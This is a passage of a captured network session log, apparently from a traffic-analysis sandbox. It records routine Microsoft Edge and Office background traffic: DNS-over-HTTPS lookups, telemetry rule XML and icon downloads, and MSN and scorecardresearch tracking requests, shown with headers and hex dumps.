encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49836	172.64.41.3	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-15 15:16:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcom)@<
2024-11-15 15:16:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 15 Nov 2024 15:16:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3033e5599a4662-DFW alt-svc: h3=":443"; ma=86400
2024-11-15 15:16:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0d 91 00 26 11 70 72 6f 64 2d 61 74 6d 2d 77 64 73 2d 65 64 67 65 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 41 00 05 00 01 00 00 00 ad 00 2a 0e 70 72 6f 64 2d 61 67 69 63 2d 63 75 2d 33 09 63 65 6e 74 72 61 6c 75 73 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 2c c0 73 00 01 00 01 00 00 00 0a 00 04 04 96 9b df 00 00 29 04 d0 00 00 00 00 01 1c 00 0c 01 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcom&prod-atm-wds-edgetrafficmanagernetA*prod-agic-cu-3centraluscloudappazure,s)

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30a84257-201e-006e-3afb-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151629Z-16547b76f7fbkfmzhC1DFWm9tw000000012g00000000g3qa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49831	13.107.246.57	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:29 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:29 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:29 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: f596a16f-501e-005d-3318-379803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241115T151629Z-1866b5c5fbbfkdfghC1DFW4sv400000000q00000000001ku Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 15:16:29 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49830	13.107.246.57	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:29 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	523	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 213eb419-701e-0041-2e71-374014000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241115T151629Z-164f84587bfgp2sdhC1DFWyhvn00000001pg00000000c1mn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-15 15:16:30 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49832	13.107.246.57	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:29 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	543	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:29 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 723c1684-601e-0077-0118-37ed46000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241115T151629Z-1866b5c5fbbg6vdshC1DFW20h800000001h000000000kke4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-15 15:16:30 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:30 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151630Z-16547b76f7fnlcwwhC1DFWz6gw0000000ncg00000000ftn7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49837	13.107.246.57	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	523	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 108c2592-201e-0034-5a71-37c7af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241115T151630Z-164f84587bfgp2sdhC1DFWyhvn00000001hg00000000s5ww Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-15 15:16:30 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49842	108.156.211.59	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	925	OUT	GET /b?rn=1731683788796&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=078A6178E4B266BF224E7440E5C7676D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Fri, 15 Nov 2024 15:16:30 GMT Location: /b2?rn=1731683788796&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=078A6178E4B266BF224E7440E5C7676D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1E9e8d515a1831b070feb5a1731683790; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1E9e8d515a1831b070feb5a1731683790; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 e6a210d32373f8c8e5c59660a5ef51d8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: rm5adQC7pI0rahtBbVjG5s24mEAl7bG8SHx0jU0FayuvvHaL2B1l_Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49833	13.107.246.57	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	543	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 20544f73-001e-0001-397c-3669fa000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241115T151630Z-1866b5c5fbbzzh8chC1DFWdrc4000000017g00000000007c Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-15 15:16:30 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49839	20.125.209.212	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	1175	OUT	GET /c.gif?rnd=1731683788795&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3401cc7bbd34493991b5e892ac0c3af8&activityId=3401cc7bbd34493991b5e892ac0c3af8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1
2024-11-15 15:16:30 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731683788795&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3401cc7bbd34493991b5e892ac0c3af8&activityId=3401cc7bbd34493991b5e892ac0c3af8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=B04EC9CD06994D6898AC696A988E9A60&RedC=c.msn.com&MXFR=078A6178E4B266BF224E7440E5C7676D Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=078A6178E4B266BF224E7440E5C7676D; domain=.msn.com; expires=Wed, 10-Dec-2025 15:16:30 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Fri, 15 Nov 2024 15:16:30 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49838	20.189.173.8	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731683788793&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3852 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1
